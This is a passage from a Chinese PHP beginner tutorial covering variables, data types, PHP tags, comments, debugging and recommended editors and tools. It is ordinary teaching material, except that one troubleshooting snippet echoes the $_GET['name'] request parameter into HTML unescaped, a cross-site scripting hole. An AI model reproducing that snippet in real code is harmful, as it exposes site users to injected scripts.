        $name = "PHP学习者";
        echo "<p>{$greeting},{$name}!</p>";
    ?>

</body>
</html>

PHP基础语法元素

1. 变量

变量是用来存储数据的容器。PHP变量的特点:

  • $符号开头
  • 区分大小写($name$Name是不同的变量)
  • 无需事先声明类型
<?php
    // 声明和使用变量
    $name = "张三";          // 字符串
    $age = 20;              // 整数
    $height = 175.5;        // 浮点数
    $isStudent = true;      // 布尔值

    // 输出变量
    echo $name;             // 输出:张三
    echo "<br>";
    echo $age;              // 输出:20
    echo "<br>";

    // 变量可以在字符串中使用
    echo "我的名字是$name,今年$age岁。";
    // 输出:我的名字是张三,今年20岁。

    // 使用花括号明确变量边界
    echo "我叫{$name},身高{$height}厘米。";
    // 输出:我叫张三,身高175.5厘米。
?>

2. 数据类型简介

字符串(String)

<?php
    // 单引号字符串
    $str1 = 'Hello, PHP!';

    // 双引号字符串(可以解析变量)
    $name = "小明";
    $str2 = "你好,$name!";

    echo $str1;  // Hello, PHP!
    echo "<br>";
    echo $str2;  // 你好,小明!

    // 字符串连接
    echo $str1 . " " . $str2;  // Hello, PHP! 你好,小明!
?>

数字(Integer和Float)

<?php
    // 整数
    $integer1 = 10;
    $integer2 = -5;
    $integer3 = 0;

    // 浮点数
    $float1 = 3.14;
    $float2 = -2.5;
    $float3 = 100.0;

    // 数字运算
    $sum = $integer1 + $integer2;  // 10 + (-5) = 5
    $product = $integer1 * $float1; // 10 * 3.14 = 31.4

    echo "两个整数的和:$sum";      // 输出:两个整数的和:5
    echo "<br>";
    echo "乘积结果:$product";       // 输出:乘积结果:31.4
?>

基本运算

<?php
    $a = 10;
    $b = 3;

    // 算术运算
    echo "$a + $b = " . ($a + $b) . "<br>";     // 10 + 3 = 13
    echo "$a - $b = " . ($a - $b) . "<br>";     // 10 - 3 = 7
    echo "$a * $b = " . ($a * $b) . "<br>";     // 10 * 3 = 30
    echo "$a / $b = " . ($a / $b) . "<br>";     // 10 / 3 = 3.333...
    echo "$a % $b = " . ($a % $b) . "<br>";     // 10 % 3 = 1(取余)

    // 自增自减
    $counter = 5;
    $counter++;           // 自增,现在等于6
    echo "计数器:$counter<br>";

    $counter--;           // 自减,现在等于5
    echo "计数器:$counter<br>";
?>

注释的使用

注释是代码中不会被PHP解释器执行的部分,用于给程序员阅读和记录信息。

单行注释

<?php
    // 这是单行注释
    $name = "李四";  // 变量声明注释

    # 这也是单行注释(不常用)
    $age = 25;       # 年龄变量
?>

多行注释

<?php
    /*
     * 这是多行注释
     * 可以写多行内容
     * 通常用于函数或类的说明
     */
    $description = "这是一个描述信息";

    /*
     计算圆的面积的函数
     参数:$radius - 半径
     返回值:面积
    */
    function calculateArea($radius) {
        return 3.14 * $radius * $radius;
    }
?>

注释的最佳实践

<?php
    // ============================================================================
    // 文件信息:用户管理系统
    // 创建日期:2024-01-01
    // 作者:开发者
    // ============================================================================

    // 用户基本信息变量
    $userName = "王五";      // 用户姓名
    $userAge = 28;           // 用户年龄
    $userEmail = "wang@example.com";  // 用户邮箱

    /*
     * 计算用户年龄段的函数
     * 根据年龄返回不同的年龄段描述
     *
     * @param int $age 用户年龄
     * @return string 年龄段描述
     */
    function getAgeGroup($age) {
        if ($age < 18) {
            return "未成年";
        } elseif ($age < 35) {
            return "青年";
        } elseif ($age < 60) {
            return "中年";
        } else {
            return "老年";
        }
    }
?>

运行PHP程序

方法1:使用本地服务器(推荐)

  1. 启动XAMPP/WAMP服务器
  2. 将文件放到正确位置
    • XAMPP: C:/xampp/htdocs/
    • WAMP: C:/wamp/www/
  3. 在浏览器中访问
    • 地址:http://localhost/hello.php
    • 或:http://127.0.0.1/hello.php

方法2:使用PHP命令行

# 在命令行中运行PHP文件
php hello.php

方法3:使用在线PHP编辑器

有一些在线平台可以让你直接在浏览器中编写和运行PHP代码:

  • PHPFiddle (https://phpfiddle.org/)
  • OnlineGDB (https://www.onlinegdb.com/online_php_compiler)
  • Replit (https://replit.com/languages/php)

调试技巧

1. 查看错误信息

如果PHP代码有错误,浏览器会显示错误信息:

<?php
    echo $undefinedVariable;  // 这会产生一个"未定义变量"的警告
    echo "这行代码仍会执行";
?>

2. 使用var_dump()调试

<?php
    $name = "测试用户";
    $numbers = [1, 2, 3, 4, 5];

    // 查看变量的详细信息
    var_dump($name);
    echo "<br>";
    var_dump($numbers);
?>

3. 使用print_r()调试数组

<?php
    $fruits = ["苹果", "香蕉", "橙子"];

    // 更美观地输出数组
    echo "<pre>";
    print_r($fruits);
    echo "</pre>";
?>

实践练习

练习1:个人信息展示

创建一个名为about_me.php的文件,展示你的个人信息:

<?php
    // 个人信息
    $name = "你的名字";
    $age = 你的年龄;
    $hobby = "你的爱好";
    $city = "你居住的城市";

    // 创建个人信息展示页面
?>
<!DOCTYPE html>
<html>
<head>
    <title>个人信息</title>
    <meta charset="UTF-8">
</head>
<body>
    <h1>个人信息</h1>

    <?php
        echo "<p><strong>姓名:</strong>$name</p>";
        echo "<p><strong>年龄:</strong>$age</p>";
        echo "<p><strong>爱好:</strong>$hobby</p>";
        echo "<p><strong>城市:</strong>$city</p>";
    ?>

</body>
</html>

练习2:简单计算器

创建一个可以进行基本数学运算的PHP文件:

<?php
    // 定义数字
    $num1 = 15;
    $num2 = 4;

    // 进行计算
    $sum = $num1 + $num2;
    $difference = $num1 - $num2;
    $product = $num1 * $num2;
    $quotient = $num1 / $num2;
    $remainder = $num1 % $num2;

    // 输出结果
    echo "<h3>数学运算结果</h3>";
    echo "$num1 + $num2 = $sum<br>";
    echo "$num1 - $num2 = $difference<br>";
    echo "$num1 × $num2 = $product<br>";
    echo "$num1 ÷ $num2 = $quotient<br>";
    echo "$num1 % $num2 = $remainder<br>";
?>

常见问题和解决方案

1. 页面空白或显示源代码

问题: 浏览器显示PHP源代码而不是执行结果 解决方案:

  • 确保正在通过Web服务器访问(http://localhost/),而不是直接打开文件(file:///)
  • 检查PHP文件扩展名是否为.php
  • 确保服务器正在运行

2. 中文乱码

问题: 中文字符显示为乱码 解决方案:

<?php
    // 在文件开头添加
    header('Content-Type: text/html; charset=utf-8');

    // 确保HTML文件也设置了正确的字符编码
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>中文测试</title>
</head>
<body>
    <?php
        echo "你好,世界!";
    ?>
</body>
</html>

3. 变量未定义警告

问题: 使用未声明的变量时显示警告 解决方案:

<?php
    // 方法1:检查变量是否已定义
    if (isset($undefinedVar)) {
        echo $undefinedVar;
    } else {
        echo "变量未定义";
    }

    // 方法2:给变量设置默认值
    $name = isset($_GET['name']) ? $_GET['name'] : '访客';
    echo "欢迎,$name!";
?>

总结

恭喜!你已经成功创建了第一个PHP程序,并学习了:

  • PHP文件的基本结构
  • 如何使用echo和print输出内容
  • 变量的定义和使用
  • 基本数据类型(字符串、数字)
  • PHP的基本语法
  • 注释的使用方法
  • 如何运行和调试PHP程序

这些是PHP编程的基础知识。在接下来的章节中,我们将深入学习更多PHP特性和编程技巧。

记住:

  • PHP代码必须放在<?php ?>标签内
  • 变量以$符号开头
  • 使用注释来记录你的代码
  • 多做练习来巩固所学知识

继续你的PHP学习之旅吧!

开发工具推荐

选择合适的开发工具可以让PHP编程变得更加高效和愉快。本章将介绍各种PHP开发工具,帮助你搭建一个功能完善的开发环境。

代码编辑器

代码编辑器是开发者最常用的工具,选择一个好的编辑器能大大提高开发效率。

Visual Studio Code(强烈推荐)

VS Code是目前最受欢迎的免费代码编辑器,特别适合PHP开发。

优势特点

  • 完全免费:微软开发,永久免费使用
  • 跨平台:支持Windows、macOS、Linux
  • 插件丰富:拥有海量的扩展插件
  • 性能优秀:启动快速,运行流畅
  • 智能提示:强大的代码自动补全功能
  • 集成调试:内置调试工具
  • Git集成:版本控制功能完善

安装步骤

  1. 访问官网:https://code.visualstudio.com/
  2. 下载适合你系统的版本
  3. 按照安装向导完成安装
  4. 启动VS Code

必装PHP插件

1. PHP Intelephense

插件ID: bmewburn.vscode-intelephense-client
功能: 智能代码补全、错误检查、跳转到定义

安装方法

  • 打开VS Code
  • Ctrl+Shift+X 打开扩展面板
  • 搜索 "PHP Intelephense"
  • 点击 "Install" 安装

2. PHP Debug

插件ID: xdebug.php-debug
功能: PHP代码调试

3. PHP DocBlocker

插件ID: neilbrayfield.php-docblocker
功能: 自动生成PHP文档注释

4. Prettier - Code formatter

插件ID: esbenp.prettier-vscode
功能: 代码格式化

VS Code配置

创建用户配置文件(按 Ctrl+, 打开设置):

{
    "php.validate.executablePath": "C:/xampp/php/php.exe",
    "files.associations": {
        "*.php": "php"
    },
    "emmet.includeLanguages": {
        "php": "html"
    },
    "php.suggest.basic": false,
    "editor.formatOnSave": true,
    "editor.tabSize": 4,
    "editor.insertSpaces": true
}

VS Code使用技巧

快捷键

  • Ctrl+P:快速打开文件
  • Ctrl+Shift+P:命令面板
  • Ctrl+/:切换注释
  • F12:跳转到定义
  • Shift+F12:查看所有引用
  • Ctrl+Shift+O:跳转到文件中的符号

工作区配置

// .vscode/settings.json
{
    "php.validate.executablePath": "C:/xampp/php/php.exe",
    "php.debug.executablePath": "C:/xampp/php/php.exe",
    "files.exclude": {
        "**/vendor": true,
        "**/node_modules": true
    }
}

Sublime Text

Sublime Text是一款轻量级但功能强大的编辑器。

优势特点

  • 启动极快:几乎是瞬间启动
  • 界面简洁:专注于代码编写
  • 多光标编辑:同时编辑多处代码
  • 丰富的命令:强大的命令面板

安装PHP插件

  1. 安装Package Control(包管理器)
  2. 安装必要插件:
    • SublimeLinter-php
    • SublimeLinter-phplint
    • Alignment(代码对齐)
    • Bracket Highlighter(括号高亮)

Atom

Atom是GitHub开发的现代化编辑器。

优势特点

  • 高度可定制:几乎可以定制任何功能
  • GitHub集成:与GitHub深度集成
  • 现代化界面:美观的用户界面

集成开发环境(IDE)

IDE功能比编辑器更全面,适合大型项目开发。

PhpStorm(专业开发者首选)

PhpStorm是目前最专业的PHP开发IDE。

优势特点

  • 功能最全面:包含所有开发所需功能
  • 智能代码分析:深度理解PHP代码
  • 数据库工具:内置数据库管理工具
  • 版本控制:完整的Git、SVN支持
  • 调试工具:强大的调试功能
  • 重构工具:安全的代码重构
  • 测试支持:单元测试集成

安装步骤

  1. 访问官网:https://www.jetbrains.com/phpstorm/
  2. 下载适合系统的版本
  3. 按照安装向导完成安装
  4. 激活许可证(付费软件,学生可免费申请)

PhpStorm配置

  1. PHP解释器设置

    • File → Settings → Languages & Frameworks → PHP
    • 设置PHP解释器路径
  2. 项目设置

    • 设置项目根目录
    • 配置编码格式
    • 设置自动保存
  3. 调试配置

    • 安装Xdebug扩展
    • 配置调试端口

Eclipse PDT

Eclipse PDT是免费的PHP开发工具。

优势特点

  • 完全免费:开源软件
  • 功能完善:包含基本的IDE功能
  • 跨平台:支持所有主流操作系统

浏览器开发工具

浏览器开发工具是Web开发中不可或缺的工具。

Chrome开发者工具

F12 或右键选择"检查"打开开发者工具。

主要功能面板

1. Elements(元素)

  • 查看和修改HTML结构
  • 实时编辑CSS样式
  • 查看盒模型信息

2. Console(控制台)

  • 查看JavaScript错误
  • 执行JavaScript代码
  • PHP调试信息输出

3. Network(网络)

  • 监控网络请求
  • 查看请求和响应头
  • 分析加载性能

4. Sources(源代码)

  • 调试JavaScript
  • 查看源文件
  • 设置断点

Firefox开发者工具

Firefox的开发者工具功能与Chrome类似,但有一些独特优势:

  • 响应式设计模式:测试不同设备的显示效果
  • 性能分析:详细的性能分析工具
  • 内存分析:检查内存使用情况

本地服务器工具

XAMPP Control Panel

XAMPP控制面板是管理本地服务器的工具。

主要功能

  • 启动/停止Apache和MySQL服务
  • 配置服务器参数
  • 查看服务状态
  • 访问管理工具

常用配置

  • Apache端口:默认80
  • MySQL端口:默认3306
  • PHP版本切换

WampServer管理界面

WampServer提供了图形化的服务器管理界面。

主要功能

  • 服务状态监控
  • 配置文件编辑
  • PHP扩展管理
  • 日志文件查看

数据库管理工具

phpMyAdmin

phpMyAdmin是最流行的MySQL数据库管理工具。

访问方式

  • XAMPP:http://localhost/phpmyadmin
  • WampServer:http://localhost/phpmyadmin

主要功能

  • 数据库创建和管理
  • SQL查询执行
  • 数据导入导出
  • 用户权限管理

HeidiSQL

HeidiSQL是Windows平台的数据库客户端。

优势特点

  • 界面友好:直观的操作界面
  • 多数据库支持:MySQL、PostgreSQL等
  • 数据同步:数据库结构同步
  • 导入导出:多种格式支持

DBeaver

DBeaver是跨平台的数据库管理工具。

优势特点

  • 完全免费:开源软件
  • 数据库兼容性:支持几乎所有数据库
  • SQL编辑器:强大的SQL编辑功能
  • 数据可视化:图表展示数据

版本控制工具

Git

Git是目前最流行的版本控制系统。

安装Git

  1. 访问官网:https://git-scm.com/
  2. 下载适合系统的版本
  3. 安装时选择默认设置

Git图形界面工具

  • GitKraken:功能强大的Git GUI
  • SourceTree:免费的Git客户端
  • GitHub Desktop:GitHub官方客户端

Git集成到编辑器

大多数现代编辑器都内置了Git支持:

  • VS Code:内置Git集成
  • PhpStorm:强大的Git支持
  • Sublime Text:通过插件支持

API测试工具

Postman

Postman是最受欢迎的API测试工具。

优势特点

  • 免费使用:个人版完全免费
  • 功能完善:支持各种HTTP方法
  • 环境管理:多环境配置
  • 自动化测试:支持测试脚本

基本使用

  1. 创建新请求
  2. 设置HTTP方法和URL
  3. 添加请求头和参数
  4. 发送请求查看响应

Insomnia

Insomnia是另一个优秀的API测试工具。

优势特点

  • 界面简洁:清爽的用户界面
  • 插件支持:可扩展的功能
  • GraphQL支持:现代API支持

性能分析工具

Xdebug

Xdebug是PHP的调试和分析工具。

安装配置

  1. 下载Xdebug扩展
  2. 配置php.ini文件
  3. 重启Web服务器

主要功能

  • 断点调试:设置断点调试代码
  • 性能分析:分析代码性能
  • 代码覆盖:测试覆盖率分析

Blackfire

Blackfire是专业的PHP性能分析工具。

优势特点

  • 深度分析:详细的性能数据
  • 图形化展示:直观的性能图表
  • 持续监控:生产环境监控

代码质量工具

PHP_CodeSniffer

PHP_CodeSniffer用于检查代码风格。

安装使用

# 通过Composer安装
composer global require "squizlabs/php_codesniffer=*"

# 检查代码风格
phpcs --standard=PSR2 yourfile.php

# 自动修复代码风格问题
phpcbf --standard=PSR2 yourfile.php

PHP Mess Detector

PHPMD用于检测代码中的潜在问题。

# 安装PHPMD
composer global require phpmd/phpmd

# 分析代码
phpmd yourfile.php text cleancode,codesize,controversial,design,naming,unusedcode

在线开发工具

GitHub Codespaces

GitHub提供的云端开发环境。

优势特点

  • 云端开发:无需本地配置
  • 容器化环境:一致的开发环境
  • VS Code界面:熟悉的编辑器体验

Gitpod

Gitpod是另一个云端开发平台。

优势特点

  • 自动化环境:自动配置开发环境
  • 实时协作:团队协作功能
  • 预构建环境:快速启动项目

选择建议

初学者推荐配置

编辑器: Visual Studio Code
本地服务器: XAMPP
数据库管理: phpMyAdmin
版本控制: Git + VS Code内置支持

中级开发者推荐配置

编辑器: Visual Studio Code / PhpStorm
本地服务器: Docker + Laravel Homestead
数据库管理: HeidiSQL / DBeaver
版本控制: Git + GitKraken
API测试: Postman

专业开发者推荐配置

IDE: PhpStorm
本地服务器: Docker
数据库管理: DBeaver
版本控制: Git + SourceTree
API测试: Postman Pro
性能分析: Xdebug + Blackfire

开发环境最佳实践

1. 工作空间组织

project-workspace/
├── projects/
│   ├── project1/
│   ├── project2/
│   └── sandbox/
├── templates/
├── common/
└── docs/

2. 编辑器配置统一

使用统一的编辑器配置文件,确保团队成员有一致的开发体验。

3. 版本控制规范

  • 使用有意义的提交信息
  • 创建.gitignore文件
  • 使用分支管理功能

4. 代码规范

  • 制定代码风格规范
  • 使用代码检查工具
  • 定期进行代码审查

常见问题解决

1. VS Code PHP智能提示不工作

解决方案

  1. 确保安装了PHP Intelephense插件
  2. 检查PHP解释器路径设置
  3. 重启VS Code

2. Xdebug连接失败

解决方案

  1. 检查xdebug配置
  2. 确认端口没有被占用
  3. 验证IDE配置

3. Git权限问题

解决方案

  1. 配置SSH密钥
  2. 检查仓库权限
  3. 验证远程连接

总结

选择合适的开发工具是高效编程的基础。初学者可以从VS Code开始,随着经验的积累逐步尝试更强大的工具。

记住

  • 工具是为提高效率服务的,不要过度追求工具
  • 选择适合自己需求的工具组合
  • 保持学习新工具和技术的心态
  • 充分利用工具的自动化功能

良好的开发环境配置将让你在PHP学习之旅中事半功倍!

第2章:PHP 基础语法

欢迎来到PHP基础语法的学习!在这一章中,我们将深入了解PHP的核心语法元素,包括PHP标记、注释、变量、常量、数据类型和运算符。掌握这些基础知识是成为熟练PHP开发者的第一步。

学习目标

完成本章学习后,你将能够:

  • 理解和使用PHP标记
  • 掌握PHP注释的写法
  • 正确使用变量和常量
  • 理解PHP的各种数据类型
  • 熟练运用PHP运算符
  • 遵循PHP代码规范

本章目录

基础语法概述

PHP语法借鉴了C、Java和Perl的特点,对于有这些语言背景的学习者来说会感到很熟悉。对于初学者,PHP的语法相对简单易懂。

语法特点

  1. 弱类型语言:变量无需预先声明类型
  2. 嵌入式脚本:可以嵌入到HTML中
  3. C风格语法:语法结构类似C语言
  4. 大小写敏感:变量名区分大小写

基本代码结构

<?php
    // 这是PHP代码块
    echo "Hello, World!";
?>

代码示例

以下是一个展示PHP基础语法的完整示例:

<?php
    // 基础语法示例
    $siteTitle = "PHP学习网站";      // 字符串变量
    $visitorCount = 12345;           // 整数变量
    $isOnline = true;                // 布尔变量

    // 输出网站标题
    echo "<h1>{$siteTitle}</h1>";

    // 显示访客数量
    echo "<p>访客数量: {$visitorCount}</p>";

    // 显示在线状态
    $statusText = $isOnline ? "在线" : "离线";
    echo "<p>状态: {$statusText}</p>";

    // 常量定义
    define("SITE_AUTHOR", "PHP学习者");
    echo "<p>作者: " . SITE_AUTHOR . "</p>";
?>

学习建议

1. 动手实践

理论知识很重要,但实际编写代码才是掌握PHP的关键。建议:

  • 跟随教程示例亲自编写代码
  • 尝试修改示例代码,观察效果
  • 创建自己的练习项目

2. 代码规范

从学习开始就养成良好的编程习惯:

  • 使用有意义的变量名
  • 添加适当的注释
  • 保持代码格式一致
  • 遵循PSR编码标准

3. 循序渐进

  • 先理解基本概念
  • 再通过练习加深理解
  • 最后进行实际项目开发

准备好了吗?

让我们开始深入学习PHP的基础语法知识!记住,编程学习是一个渐进的过程,不要急于求成,一步一个脚印地积累知识。


章节预告

接下来我们将从PHP标记开始,逐步学习:

  • 如何在HTML中嵌入PHP代码
  • 如何编写清晰的注释
  • 如何声明和使用变量与常量
  • PHP支持的各种数据类型
  • 运算符的使用方法

让我们开始这段精彩的学习旅程吧!

PHP标记

PHP标记是用来告诉Web服务器哪些部分是PHP代码,哪些部分是普通HTML的关键语法。理解PHP标记的使用是PHP编程的基础。

什么是PHP标记?

PHP标记是特殊的符号,用于在HTML文件中嵌入PHP代码。当服务器处理包含PHP代码的文件时,它会:

  1. 识别PHP标记
  2. 执行标记内的PHP代码
  3. 将执行结果与HTML内容合并
  4. 发送最终结果给浏览器

标准PHP标记

XML风格标记(推荐)

<?php
    // 这是标准的PHP标记
    echo "Hello, World!";
?>

特点:

  • 最常用的标记方式
  • XML兼容
  • 支持所有PHP版本
  • 推荐在生产环境中使用

示例:

<?php
    $name = "张三";
    $age = 25;
    echo "姓名:{$name},年龄:{$age}";
?>

简短标记

<?
    // 简短标记
    echo "简短标记示例";
?>

注意:

  • 需要在php.ini中启用short_open_tag
  • 不推荐在新项目中使用
  • 可能在某些服务器环境中不可用
  • PHP 7.4开始不推荐使用

输出标记

简短输出标记(<?=)

<?= "直接输出的内容" ?>

等同于:

<?php echo "直接输出的内容" ?>

使用场景:

<!DOCTYPE html>
<html>
<head>
    <title><?= $pageTitle ?></title>
</head>
<body>
    <h1><?= $heading ?></h1>
    <p>欢迎,<?= $username ?>!</p>
</body>
</html>

优点:

  • 代码更简洁
  • 适合在HTML中输出变量
  • PHP 5.4+版本始终可用

脚本风格标记

script标记方式

<script language="php">
    // 脚本风格标记(很少使用)
    echo "这种标记方式很少使用";
</script>

特点:

  • 类似JavaScript的标记方式
  • 几乎不使用
  • 为了向后兼容保留

HTML中的PHP标记使用

基本嵌入方式

<!DOCTYPE html>
<html>
<head>
    <title>PHP示例页面</title>
    <?php
        $page_title = "我的网站";
        $css_file = "style.css";
    ?>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="<?= $css_file ?>">
    <title><?= $page_title ?></title>
</head>
<body>
    <?php include 'header.php'; ?>

    <main>
        <h1>欢迎访问</h1>
        <?php
            $current_time = date('Y-m-d H:i:s');
            echo "<p>当前时间:{$current_time}</p>";
        ?>
    </main>

    <?php include 'footer.php'; ?>
</body>
</html>

混合使用示例

<?php
    // 定义页面数据
    $page_data = [
        'title' => '用户列表',
        'users' => [
            ['name' => '张三', 'age' => 25, 'email' => 'zhang@example.com'],
            ['name' => '李四', 'age' => 30, 'email' => 'li@example.com'],
            ['name' => '王五', 'age' => 28, 'email' => 'wang@example.com']
        ]
    ];
?>
<!DOCTYPE html>
<html>
<head>
    <title><?= $page_data['title'] ?></title>
    <meta charset="UTF-8">
    <style>
        table { border-collapse: collapse; width: 100%; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
    </style>
</head>
<body>
    <h1><?= $page_data['title'] ?></h1>

    <table>
        <thead>
            <tr>
                <th>姓名</th>
                <th>年龄</th>
                <th>邮箱</th>
            </tr>
        </thead>
        <tbody>
            <?php foreach ($page_data['users'] as $user): ?>
            <tr>
                <td><?= htmlspecialchars($user['name']) ?></td>
                <td><?= $user['age'] ?></td>
                <td><?= htmlspecialchars($user['email']) ?></td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
</body>
</html>

PHP标记的最佳实践

1. 始终使用完整标记

推荐:

<?php
    echo "推荐使用完整标记";
?>

不推荐:

<?
    echo "简短标记可能在某些环境不工作";
?>

2. 纯PHP文件省略结束标记

推荐:

<?php
    // 纯PHP文件不需要结束标记
    $config = [
        'database' => 'mysql',
        'host' => 'localhost'
    ];

    function get_config($key) {
        global $config;
        return $config[$key] ?? null;
    }

原因:

  • 避免意外的空白字符输出
  • 防止Headers already sent错误
  • 符合PSR标准

3. 合理使用输出标记

适合使用<?=的场景:

<div class="user-info">
    <h2><?= $user['name'] ?></h2>
    <p>年龄:<?= $user['age'] ?></p>
    <p>邮箱:<?= htmlspecialchars($user['email']) ?></p>
</div>

不适合使用<?=的场景:

<?php
    // 复杂逻辑不适合使用输出标记
    if ($user->isLoggedIn()) {
        echo "欢迎回来!";
        if ($user->hasUnreadMessages()) {
            echo "您有新消息。";
        }
    }
?>

多个PHP标记块

标记块的分离

<?php
    // PHP逻辑处理
    $title = "产品列表";
    $products = [
        ['name' => 'iPhone', 'price' => 5999],
        ['name' => 'Samsung', 'price' => 4999],
        ['name' => 'Huawei', 'price' => 4599]
    ];
?>

<!DOCTYPE html>
<html>
<head>
    <title><?= $title ?></title>
</head>
<body>
    <?php if (!empty($products)): ?>
        <h1><?= $title ?></h1>
        <ul>
            <?php foreach ($products as $product): ?>
                <li><?= $product['name'] ?> - ¥<?= $product['price'] ?></li>
            <?php endforeach; ?>
        </ul>
    <?php else: ?>
        <p>暂无产品</p>
    <?php endif; ?>
</body>
</html>

标记间的变量共享

<?php
    // 第一个PHP块
    $site_name = "我的网站";
    $page_info = [
        'title' => '首页',
        'description' => '网站首页描述'
    ];
?>
<!DOCTYPE html>
<html>
<head>
    <title><?= $page_info['title'] ?> - <?= $site_name ?></title>
</head>
<body>
    <?php
        // 第二个PHP块,可以访问前面定义的变量
        $welcome_message = "欢迎访问{$site_name}!";
        echo "<h1>{$welcome_message}</h1>";

        // 也可以修改前面的变量
        $page_info['title'] = "欢迎页面";
    ?>

    <p>当前页面:<?= $page_info['title'] ?></p>
</body>
</html>

条件性包含PHP标记

检查PHP是否可用

<?php if (extension_loaded('gd')): ?>
    <?php
        // 使用GD库的PHP代码
        $image = imagecreate(200, 100);
        $bg_color = imagecolorallocate($image, 255, 255, 255);
        $text_color = imagecolorallocate($image, 0, 0, 0);
        imagettftext($image, 20, 0, 10, 50, $text_color, 'arial.ttf', 'Hello');
        header('Content-Type: image/png');
        imagepng($image);
        imagedestroy($image);
    ?>
<?php else: ?>
    <p>GD库未安装,无法生成图片</p>
<?php endif; ?>

错误的标记使用示例

常见错误

1. 嵌套标记

<?php
    if ($condition) {
        <?php // 错误:不能嵌套PHP标记
            echo "这会导致语法错误";
        ?>
    }
?>

正确写法:

<?php
    if ($condition) {
        echo "正确写法";
    }
?>

2. 在HTML属性中的标记使用

<!-- 错误 -->
<input type="text" value="<?php echo if ($error) { 'error'; } else { ''; } ?>">

<!-- 正确 -->
<input type="text" value="<?= $error ? 'error' : '' ?>">

3. 遗漏结束标记

<?php
    echo "缺少结束标记会导致问题"
    // 忘记写 ?>
<p>这段HTML可能无法正确显示</p>

实际应用示例

模板系统示例

<?php
    // 模板引擎的基础实现
    class SimpleTemplate {
        private $data = [];

        public function assign($key, $value) {
            $this->data[$key] = $value;
        }

        public function render($template) {
            if (file_exists($template)) {
                // 提取变量到当前作用域
                extract($this->data);
                include $template;
            } else {
                echo "模板文件不存在:{$template}";
            }
        }
    }

    // 使用示例
    $template = new SimpleTemplate();
    $template->assign('title', '用户管理');
    $template->assign('users', [
        ['id' => 1, 'name' => '张三'],
        ['id' => 2, 'name' => '李四']
    ]);

    $template->render('user_list.php');
?>

模板文件 (user_list.php)

<!DOCTYPE html>
<html>
<head>
    <title><?= $title ?></title>
    <meta charset="UTF-8">
</head>
<body>
    <h1><?= $title ?></h1>

    <?php if (!empty($users)): ?>
        <table>
            <tr><th>ID</th><th>姓名</th></tr>
            <?php foreach ($users as $user): ?>
                <tr>
                    <td><?= $user['id'] ?></td>
                    <td><?= htmlspecialchars($user['name']) ?></td>
                </tr>
            <?php endforeach; ?>
        </table>
    <?php else: ?>
        <p>暂无用户数据</p>
    <?php endif; ?>
</body>
</html>

性能考虑

1. 减少标记切换

优化前:

<?php for ($i = 0; $i < 10; $i++): ?>
    <?php if ($i % 2 == 0): ?>
        <span><?= $i ?></span>
    <?php else: ?>
        <strong><?= $i ?></strong>
    <?php endif; ?>
<?php endfor; ?>

优化后:

<?php
for ($i = 0; $i < 10; $i++) {
    if ($i % 2 == 0) {
        echo "<span>{$i}</span>";
    } else {
        echo "<strong>{$i}</strong>";
    }
}
?>

2. 合理使用输出缓存

<?php
// 开启输出缓存
ob_start();
?>

<div class="content">
    <h2><?= $article['title'] ?></h2>
    <div class="article-body">
        <?= $article['content'] ?>
    </div>
</div>

<?php
$content = ob_get_clean();
echo $content;
?>

调试技巧

1. 查看生成的HTML

<?php
    // 在开发时,可以查看生成的HTML代码
    $html_content = '<!DOCTYPE html>
<html>
<head><title>测试页面</title></head>
<body>
    <h1>' . $title . '</h1>
    <p>内容:' . $content . '</p>
</body>
</html>';

    // 调试时输出HTML
    if (defined('DEBUG_MODE') && DEBUG_MODE) {
        echo '<pre>' . htmlspecialchars($html_content) . '</pre>';
    } else {
        echo $html_content;
    }
?>

2. 检查PHP标记问题

<?php
    // 检查是否有输出缓冲问题
    if (headers_sent()) {
        echo "<div style='color: red;'>警告:头部信息已发送</div>";
    }

    // 检查变量是否正确设置
    echo "<!-- 调试信息:title = " . ($title ?? 'undefined') . " -->";
?>

总结

PHP标记是PHP编程的基础,掌握其正确使用方法对于编写清晰、高效的PHP代码至关重要。

关键要点:

  1. 始终使用标准标记 <?php ... ?>
  2. 纯PHP文件省略结束标记
  3. 合理使用输出标记 <?= ... ?>
  4. 避免嵌套标记
  5. 注意变量在标记间的共享

最佳实践:

  • 优先使用XML风格标记
  • 模板文件合理利用输出标记
  • 保持代码结构清晰
  • 注意性能影响
  • 遵循团队编码规范

正确使用PHP标记将帮助你编写更清晰、更易维护的PHP代码!

注释

什么是注释?

在编程中,注释是程序员在代码中添加的说明性文字,这些文字不会被PHP解释器执行。注释的主要作用是:

  • 解释代码功能:帮助自己和他人理解代码的用途
  • 记录开发思路:在复杂逻辑处添加说明
  • 临时禁用代码:在调试时暂时屏蔽某些代码行
  • 提高代码可读性:让代码更易于维护

PHP中的注释类型

PHP支持三种注释方式:

1. 单行注释(//)

使用双斜线 //,从双斜线开始到行尾的内容都是注释。

<?php
// 这是一个单行注释
$name = "张三"; // 在变量后面也可以添加注释

// 下面的代码用来输出欢迎信息
echo "欢迎来到PHP世界!";

// echo "这行代码被注释了,不会执行";
?>

使用场景

  • 简短的说明
  • 解释某行代码的作用
  • 临时禁用单行代码

2. Shell风格单行注释(#)

使用井号 #,功能和 // 完全相同,但较少使用。

<?php
# 这也是一个单行注释(Shell风格)
$age = 25; # 设置年龄变量

# 计算明年年龄
$nextYearAge = $age + 1;

echo "明年你将 {$nextYearAge} 岁";
?>

使用场景

  • 在某些框架或约定中会使用
  • 从Shell脚本转换过来的开发者可能习惯使用

3. 多行注释(/* ... */)

使用 /* 开始,*/ 结束,可以跨越多行。

<?php
/*
 * 这是一个多行注释
 * 可以写多行内容
 * 通常用于函数或类的详细说明
 */
$version = "1.0.0";

/*
功能:计算两个数的和
参数:$num1 - 第一个数
      $num2 - 第二个数
返回值:两个数的和
*/
function add($num1, $num2) {
    return $num1 + $num2;
}
?>

使用场景

  • 函数、类的详细说明
  • 复杂算法的解释
  • 版权信息和作者说明
  • 临时禁用多行代码

注释的最佳实践

1. 注释应该"为什么",而不是"什么"

// ❌ 不好的注释:重复代码内容
$name = "张三"; // 将"张三"赋值给name变量

// ✅ 好的注释:解释原因和目的
$name = "张三"; // 用户真实姓名,用于生成个性化欢迎消息

2. 保持注释简洁明了

// ❌ 过于冗长的注释
// 为了让系统知道当前的用户是谁,我们需要获取用户的姓名,
// 这样我们就可以在页面显示个性化的问候信息

// ✅ 简洁有效的注释
// 获取用户姓名用于个性化显示
